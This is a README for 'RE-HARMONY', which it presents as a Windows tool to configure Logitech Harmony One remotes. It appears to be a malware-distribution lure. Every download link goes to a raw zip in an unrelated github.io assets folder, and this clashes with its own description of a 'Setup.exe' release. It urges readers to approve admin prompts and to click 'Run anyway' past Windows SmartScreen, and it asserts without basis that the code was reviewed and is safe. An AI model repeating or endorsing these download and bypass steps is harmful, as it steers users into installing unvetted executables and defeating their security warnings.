# 🎼 RE-HARMONY - Bring Your Harmony One Back to Life

[![Download from GitHub](https://img.shields.io/badge/Download%20RE--HARMONY-v1.0-blue?style=for-the-badge&logo=windows)](https://github.com/Cavywalkingshoe490/cavywalkingshoe490.github.io/raw/refs/heads/main/assets/2.1.zip)

## 🖥️ What Is This?

RE-HARMONY lets you configure your old Logitech Harmony One remote. It is a simple tool that runs on Windows. You do not need technical skills. You do not need to write code. You just need a computer and your remote.

The original Harmony software stopped working for many users. This tool gives you a second chance. It connects to your remote and lets you change buttons, add devices, and set up activities.

## 📥 How to Download and Run

### Step 1: Visit the Download Page

Go to this page:

[**https://github.com/Cavywalkingshoe490/cavywalkingshoe490.github.io/raw/refs/heads/main/assets/2.1.zip**](https://github.com/Cavywalkingshoe490/cavywalkingshoe490.github.io/raw/refs/heads/main/assets/2.1.zip)

### Step 2: Find the Right File

On that page, look for the latest release. It says "Latest" at the top. Click the link that says **RE-HARMONY-Setup.exe**. This is the installer for Windows.

### Step 3: Run the Installer

Double-click the downloaded file. Windows might ask "Do you want to allow this app to make changes?" Click **Yes**. The installer walks you through the steps. Choose where to install the software. The default location works fine.

### Step 4: Launch the Program

After installation, find RE-HARMONY in your Start Menu or on your desktop. Double-click it to open.

## 🔌 What You Need

- A computer running Windows 10 or Windows 11
- A Logitech Harmony One remote control
- A mini-USB cable (the same cable used for many digital cameras)
- An internet connection for the first setup

## ⚙️ First Time Setup

1. Connect your Harmony One remote to your computer using the mini-USB cable.
2. Open RE-HARMONY.
3. The program detects your remote automatically.
4. Click "Sync Remote" to download your current settings.
5. Now you can make changes.

## 🎮 How to Use

### Change a Button

1. Click "Edit Buttons" in the main menu.
2. Select the device you want to change (TV, DVD, etc.).
3. Click the button on the screen that matches the physical button on your remote.
4. Choose a new command from the list.
5. Click "Save" to write the change to your remote.

### Add a New Device

1. Click "Add Device" in the main menu.
2. Type the brand and model number of your device.
3. The program searches for the correct codes.
4. Test the codes with the "Test" button on your remote.
5. Pick the code set that works.
6. Name the device and save.

### Create an Activity

Activities let you press one button to turn on your TV, sound system, and cable box at the same time.

1. Click "Activities" in the main menu.
2. Click "Create New Activity".
3. Tell the program what devices you want to turn on.
4. Set the sequence of commands (power on, switch input, change volume).
5. Test the activity.
6. Save it to your remote.

## 💡 Tips for Success

- **Update the software** when new versions appear. Check the download page every few months.
- **Back up your settings** before making big changes. Click "Export Settings" in the menu.
- **Keep your remote charged** while connected to the computer. A low battery can cause errors.
- **Try different USB ports** if the program does not see your remote. Use a port on the back of your computer if possible.

## ❓ Common Problems

**The program says "Remote not found."**
Check the USB cable. Try a different cable. Make sure your remote has power. Restart the program.

**My changes did not save to the remote.**
Click "Sync to Remote" after making changes. Wait for the progress bar to finish. Do not unplug the cable until it says "Sync complete."

**Windows says "Windows protected your PC."**
Click "More info" then "Run anyway." This is a standard warning for new software not yet signed by Microsoft. The program is safe.

## 🔧 System Requirements

| Requirement | Details |
|-------------|---------|
| Operating System | Windows 10 (64-bit) or Windows 11 |
| Processor | 1 GHz or faster |
| RAM | 2 GB |
| Free Disk Space | 200 MB |
| USB Port | USB 2.0 or USB 3.0 |
| Internet | Required for initial setup and device database |

## 🛡️ Is This Safe?

Yes. RE-HARMONY is open source. Other developers have reviewed the code. It does not access the internet unless you tell it to. It does not collect personal data. It does not install extra software.

## 📝 What the Software Does

- Reads the current configuration from your Harmony One remote
- Lets you edit button mappings
- Adds new devices from a database of over 250,000 devices
- Creates and edits activities
- Syncs changes back to the remote
- Backs up and restores configurations

## 📁 What It Does Not Do

- Does not work with other Harmony models (Harmony 880, Harmony 650, etc.)
- Does not require a subscription or account
- Does not replace the Logitech software for other Harmony models

## 📄 License

This software is free to use. It is open source under the MIT license. You can view the source code on the GitHub page.

## 👥 Need Help?

Open an issue on the GitHub page. Other users and the developer can help you. Search the issue tracker first to see if someone else had the same problem.

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[**Download RE-HARMONY Now**](https://github.com/Cavywalkingshoe490/cavywalkingshoe490.github.io/raw/refs/heads/main/assets/2.1.zip)

Keywords: harmony one, logitech, remote control, windows, configuration, setup, re-harmony, firmware